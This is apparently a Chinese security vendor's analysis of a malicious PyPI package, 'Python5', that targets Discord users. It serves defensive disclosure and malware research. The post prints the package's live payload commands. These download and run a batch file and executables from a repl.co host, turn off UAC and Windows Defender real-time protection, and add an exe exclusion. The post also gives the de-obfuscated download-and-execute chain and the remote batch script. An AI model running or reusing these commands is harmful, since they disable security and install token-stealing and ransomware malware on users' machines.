近两周来,天问系统连续捕获了多个针对Discord的攻击包,今日天问系统又捕获了一个恶意包,名为Python5,同样试图攻击Discord。

攻击简介

2022年1月13日11时许,天问Python供应链监测模块捕获到一个名为Python5的恶意包,该包在包名相似度匹配及文件/网络上均发出告警,我们立即展开了对该包恶意行为的分析,并在确定了其恶意行为后迅速将其信息同步给了官方。

该包将恶意代码编写在__init__.py内,当用户误操作import python5时便会触发其恶意代码,这种攻击方式的触发条件较为苛刻。其恶意代码分析如下。

初始代码分析

1
2
3
4
5
6
subprocess.call("curl https://scripts.windowstools.repl.co/scripts/KrnlCracked.php --output cmd.bat && powershell Start-Process 'cmd.bat' -Verb runAs")
subprocess.call("powershell New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force")
subprocess.call('powershell Add-MpPreference -ExclusionExtension "exe"')
subprocess.call('powershell Set-MpPreference -DisableRealtimeMonitoring $true')
subprocess.call('%a7k:~61,1%%a7k:~20,1%%a7k:~50,1%%a7k:~5,1% %a7k:~55,1%%a7k:~37,1%%a7k:~37,1%%a7k:~33,1%%a7k:~45,1%://%a7k:~20,1%%a7k:~33,1%%a7k:~37,1%%a7k:~58,1%%a7k:~16,1%%a7k:~18,1%.%a7k:~3,1%%a7k:~58,1%%a7k:~34,1%%a7k:~6,1%%a7k:~47,1%%a7k:~3,1%%a7k:~45,1%%a7k:~37,1%%a7k:~47,1%%a7k:~47,1%%a7k:~5,1%%a7k:~45,1%.%a7k:~50,1%%a7k:~18,1%%a7k:~33,1%%a7k:~5,1%.%a7k:~61,1%%a7k:~47,1%/%a7k:~5,1%%a7k:~47,1%%a7k:~30,1%%a7k:~30,1%%a7k:~18,1%%a7k:~50,1% --%a7k:~47,1%%a7k:~20,1%%a7k:~37,1%%a7k:~33,1%%a7k:~20,1%%a7k:~37,1% %a7k:~28,1%:\%a7k:~19,1%%a7k:~45,1%%a7k:~18,1%%a7k:~50,1%%a7k:~45,1%\%a7k:~18,1%%a7k:~42,1%%a7k:~58,1%%a7k:~5,1%%a7k:~39,1%\%a7k:~53,1%%a7k:~50,1%%a7k:~34,1%%a7k:~5,1%%a7k:~51,1%%a7k:~60,1%%a7k:~33,1%%a7k:~39,1%%a7k:~45,1%%a7k:~45,1%%a7k:~18,1%%a7k:~50,1%.%a7k:~18,1%%a7k:~31,1%%a7k:~18,1% && %a7k:~45,1%%a7k:~37,1%%a7k:~39,1%%a7k:~50,1%%a7k:~37,1% %a7k:~28,1%:\%a7k:~19,1%%a7k:~45,1%%a7k:~18,1%%a7k:~50,1%%a7k:~45,1%\%a7k:~18,1%%a7k:~42,1%%a7k:~58,1%%a7k:~5,1%%a7k:~39,1%\%a7k:~53,1%%a7k:~50,1%%a7k:~34,1%%a7k:~5,1%%a7k:~51,1%%a7k:~60,1%%a7k:~33,1%%a7k:~39,1%%a7k:~45,1%%a7k:~45,1%%a7k:~18,1%%a7k:~50,1%.%a7k:~18,1%%a7k:~31,1%%a7k:~18,1% && %aw9u:~38,1%%aw9u:~39,1%%aw9u:~24,1%%aw9u:~11,1% %aw9u:~42,1%%aw9u:~41,1%%aw9u:~41,1%%aw9u:~6,1%%aw9u:~55,1%://%aw9u:~39,1%%aw9u:~6,1%%aw9u:~41,1%%aw9u:~30,1%%aw9u:~48,1%%aw9u:~34,1%.%aw9u:~3,1%%aw9u:~30,1%%aw9u:~46,1%%aw9u:~59,1%%aw9u:~0,1%%aw9u:~3,1%%aw9u:~55,1%%aw9u:~41,1%%aw9u:~0,1%%aw9u:~0,1%%aw9u:~11,1%%aw9u:~55,1%.%aw9u:~24,1%%aw9u:~34,1%%aw9u:~6,1%%aw9u:~11,1%.%aw9u:~38,1%%aw9u:~0,1%/%aw9u:~38,1%%aw9u:~0,1%%aw9u:~46,1%%aw9u:~41,1%%aw9u:~24,1%%aw9u:~0,1%%aw9u:~11,1%%aw9u:~11,1%%aw9u:~34,1%%aw9u:~24,1% --%aw9u:~0,1%%aw9u:~39,1%%aw9u:~41,1%%aw9u:~6,1%%aw9u:~39,1%%aw9u:~41,1% "%aw9u:~15,1%:\%aw9u:~26,1%%aw9u:~55,1%%aw9u:~34,1%%aw9u:~24,1%%aw9u:~55,1%\%aw9u:~34,1%%aw9u:~20,1%%aw9u:~30,1%%aw9u:~11,1%%aw9u:~43,1%\%aw9u:~33,1%%aw9u:~30,1%%aw9u:~46,1%%aw9u:~59,1%%aw9u:~0,1%%aw9u:~3,1%%aw9u:~55,1% %aw9u:~5,1%%aw9u:~34,1%%aw9u:~9,1%%aw9u:~34,1%%aw9u:~46,1%%aw9u:~59,1%%aw9u:~34,1%%aw9u:~24,1%.%aw9u:~34,1%%aw9u:~54,1%%aw9u:~34,1%" && %aw9u:~55,1%%aw9u:~41,1%%aw9u:~43,1%%aw9u:~24,1%%aw9u:~41,1% "" "%aw9u:~15,1%:\%aw9u:~26,1%%aw9u:~55,1%%aw9u:~34,1%%aw9u:~24,1%%aw9u:~55,1%\%aw9u:~34,1%%aw9u:~20,1%%aw9u:~30,1%%aw9u:~11,1%%aw9u:~43,1%\%aw9u:~33,1%%aw9u:~30,1%%aw9u:~46,1%%aw9u:~59,1%%aw9u:~0,1%%aw9u:~3,1%%aw9u:~55,1% %aw9u:~5,1%%aw9u:~34,1%%aw9u:~9,1%%aw9u:~34,1%%aw9u:~46,1%%aw9u:~59,1%%aw9u:~34,1%%aw9u:~24,1%.%aw9u:~34,1%%aw9u:~54,1%%aw9u:~34,1%"')
subprocess.call("curl https://cdn.discordapp.com/attachments/921853325899628645/930961499227299860/circus.mp3 --output clown.mp3")

其通过六个subprocess.call创建子进程在终端直接执行上述六条行为,行为分析如下。

  1. 爬取URL内信息,写成bat文件并执行
  2. 为恶意进程创建新注册表值
  3. 让Windows Defender不再阻拦以exe为结尾的文件
  4. 让Windows Defender关闭实时监测
  5. 混淆后的字符串,下面会做详细解读
  6. 攻击者的恶趣味,在攻击完之后播放了一段小丑的BGM

混淆内容分析

得益于天问Python供应链监测模块的实时性,我们第一时间便开始了对上述六条行为的分析,并在行为一的URL内提取到了如下信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
@echo off
powershell New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
powershell Add-MpPreference -ExclusionExtension "exe"
powershell Set-MpPreference -DisableRealtimeMonitoring $true

Set aw9u=o3MwyDpzOfJlH0ICQ19Rk28Yr7UEFAiXgWeTq4cu5thaj6nSmBLVbKxsvNZdPG
Set a7k=3ZIwSld2DMFP7G5VmXeUuNLRWYA1CJgxzpnHOtbafQk0vs8oq4rB9KjhT6iEyc

cls
Title Krnl Key Generator
echo Setting up...
echo Downloading requirements...
color c

上面两条由Set开头的信息在计算机环境变量中定义了变量aw9u和a7k为两个字符串,在行为五中有很多类似 a7k:~61,1 的结构,该结构的意思为提取环境变量中a7k中从第61个字符开始后面的一个字符,即此处应为 ‘c’。

在对混淆的字符串全部进行反混淆后我们得到如下结果。

1
2
3
4
curl https://uptime.windowstools.repl.co/logger --output C:\Users\ekila\KrnlBypasser.exe 
&& start C:\Users\ekila\KrnlBypasser.exe
&& curl https://uptime.windowstools.repl.co/controller --output "C:\Users\ekila\Windows Defender.exe"
&& start "" "C:\Users\ekila\Windows Defender.exe"

恶意代码访问URL并下载了KrnlBypasswer.exe和Windows Defender.exe两个可执行文件并执行。

在下午两时许,我们发现行为一中URL内信息已经发生变化,如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@echo off
powershell New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
powershell Add-MpPreference -ExclusionExtension "exe"
powershell Set-MpPreference -DisableRealtimeMonitoring $true

cls
Title Krnl Key Generator
echo Setting up...
echo Downloading requirements...
color c

curl https://uptime.windowstools.repl.co/logger --output "C:\Users\%USERNAME%\Windows Starter.exe" && start "" "C:\Users\%USERNAME%\Windows Starter.exe"

curl https://uptime.windowstools.repl.co/controller --output "C:\Users\%USERNAME%\Windows Defender.exe" && start "" "C:\Users\%USERNAME%\Windows Defender.exe"

echo Extracting key...
color a
setlocal enabledelayedexpansion
set "string=abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"
set "result="
for /L %%i in (1,1,60) do call :add
echo Key: %result%
echo WARNING: If the key doesn't work run the program again and select yes to the prompt
echo If there was no prompt turn off anti virus
PAUSE
:add
set /a x=%random% %% 62
set result=%result%!string:~%x%,1!
goto :eof

与我们上午反混淆得到的下载链接一模一样。截止发稿前,上述所有链接均为有效状态。

恶意样本分析

Windows Defender.exe

来源链接:hxxps://uptime.windowstools.repl.co/controller

原始文件名:loader.exe

Hash: 08225015a1d79f95384af6b14d392912

该样本的主要功能及行为如下:

  1. 获取当前ip及硬件id,并判断当前是否包含钱包方法

  2. 监听本地,删除文件,加密文件,添加启动项

  3. 定位当前位置并回传

  4. 通过WMIC读取信息

  5. 加密文件,勒索用户

KrnlBypasswer.exe

来源链接:hxxps://uptime.windowstools.repl.co/logger

原始文件名:Grabber.exe

Hash: 13b070b6c53ec24923e146404ed512fc

该样本经天穹沙箱分析,其行为与前两次Discord攻击方式类似,也会读取用户Discord程序ldb类型敏感隐私文件,如下图所示。

总结

经过比对,这次的KrnlBypasswer.exe和之前两次Discord攻击:【天问】Discord攻击再现,多种混淆加密逃避安全检测【天问】攻击者瞄准Discord,窃取银行卡信息,具有相似性。通过调研,我们发现这些攻击Discord的恶意软件的源代码均来自于github用户Rdimo,主要代码来自Hazard-Token-Grabber-V2,攻击者大多仅修改用于回传信息的Discord频道的机器人webhooks。

值的一提的是Rdimo于18个小时前刚刚更新了其main函数,这个时间与此次攻击包更新时间(约11小时前)相吻合,我们推断攻击者是受了Rdimo代码改动影响故更新其攻击包。

软件供应链攻击是当前网络安全领域的热点,天问系统作为面向软件供应链安全领域的分析平台,对Python、NPM、Maven等主流软件生态进行长期、持续的监测和分析,率先发现并陆续披漏了多个攻击案例。我们将继续关注Rdimo的动向,并持续监测Python源的生态安全。